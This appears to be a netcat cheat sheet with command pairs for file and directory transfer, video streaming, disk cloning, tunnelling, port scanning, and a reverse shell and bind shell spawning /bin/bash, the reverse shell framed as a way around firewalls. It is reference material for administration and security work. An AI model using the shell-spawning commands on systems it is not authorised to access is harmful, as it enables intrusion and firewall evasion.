Netcat Examples

Server (192.168.1.9)

$ nc -lv 8000

Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections

Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

Client

$ nc 192.168.1.9 8000

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

Server (192.168.1.9)

$ cat video.avi | nc -l 8000

Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

Streaming video with netcat

Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

Server (192.168.1.9)

$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

Client

$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

Encrypt data before transfering over the network

Server (192.168.1.9)

$ tar -cvf – dir\_name | nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

Suppose you want to transfer a directory over the network from A to B.

Server (192.168.1.9)

$ nc -lv 8000 > file.txt

Client

$ nc 192.168.1.9 8000 < file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:

Server (192.168.1.9)

$ nc -lv 8000 < file.txt

Client

$ nc -nv 192.168.1.9 8000 > file.txt

Suppose you want to transfer a file “file.txt” from server A to client B.

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

or

$ nc -l 8001 | nc 127.0.0.1 8000

Create a tunnel from one local port to another

Scan ports between 21 to 25

$ nc -zvn 192.168.1.1 21-25

Scan ports 22, 3306 and 8080

$ nc -zvn 192.168.1.1 22 3306 8080

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

or

echo "" | nc -zv -wl 192.168.1.1 801-805